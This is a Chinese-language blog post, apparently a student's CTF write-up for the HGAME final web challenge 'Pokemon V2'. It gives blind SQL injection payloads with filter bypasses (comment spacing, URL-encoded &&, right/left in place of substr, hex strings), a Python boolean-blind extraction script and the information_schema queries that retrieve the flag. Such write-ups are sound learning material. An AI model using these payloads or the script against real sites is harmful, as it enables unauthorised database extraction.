这次HGAME final,确实打得我心态爆炸,也让我知道了我居然这么菜。web第一道题,Pokemon V2 一手盲注,一堆过滤,基础知识不牢固的我直接8小时坐牢。今天向vidar team的summ3r学长请教,总算是搞定了这道sql注入,收获良多,(赶得上我自己闷头学2周、‘小声’)。
然后就是我真的觉得学长们这种英文里加字母的名称真的好有感觉,我也想!dhycnhdu也太没味道了,于是!我决定!我以后就叫1manity,寓意人类种!


HGAME final Pokemon v2题解

进入题目环境,F12进入开发者模式进行信息收集

发现/index.php?id=1,访问看到url可以传参,尝试令其=0,发生跳转

3.13

输入code=0时error下的字符消失,尝试进行sql注入。

测试后发现黑名单过滤了# ! union and + - = ' " 空格等字符。于是联合查询注入就不可能得到我们想要的数据。

首先进行字段的测试,

code=404/**/order/**/by/**/2

得到有两个字段,

鉴于被ban的东西太多,先使用时间盲注,

code=404/**/%26%26/**/if(length(database())>7,sleep(1),1)

得到数据库长度为7,然后写脚本进行布尔注入,发现substr, mid被过滤,

1、使用right(left(xxx,1),1)代替substr截取字符

2、使用/**/绕过空格

3、使用&&绕过and,由于浏览器会将&当作参数分割符,使用url编码,%26%26

4、使用>绕过=

5、使用in绕过=

6、十六进制绕过字符串

7、注意子查询需要使用括号将其括起

8、使用group_concat将多个结果合并

下面是脚本母版。

import requests
import re
# http://146.56.223.34:65432/error.php?
findlink = re.compile(r'(.*) Pokemon (.*?) .*')
url=""
baseurl="http://146.56.223.34:65432/error.php?code=404/**/%26%26/**/"
for j in range(1,8):
    for i in range(30,128):
        url=baseurl+f"ascii(right(left(database(),{j}),1))%3E{i}"
        r = requests.get(url)


        #print(re.findall(findlink, r.text)[0][0])

        if(len(re.findall(findlink, r.text))==0) :
            #print(r.text)
            print(chr(i),end="")
            break

爆出数据库名称pokemon

接下来构造payload取出数据表名称

select group_concat(table_name) from information_schema.tables where table_schema in (0x706f6b656d6f6e);

爆出数据表名称为errors,seeeeeeecret,接下来爆数据列

select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/in/**/(0x706f6b656d6f6e)

爆出数据列code,id,msg,flag,找到flag,最后爆flag

select/**/flag/**/from/**/seeeeeeecret

得到flag

hgame{96mz5v3c9hnj49t7xqj76et6xw4dpczy}

发表评论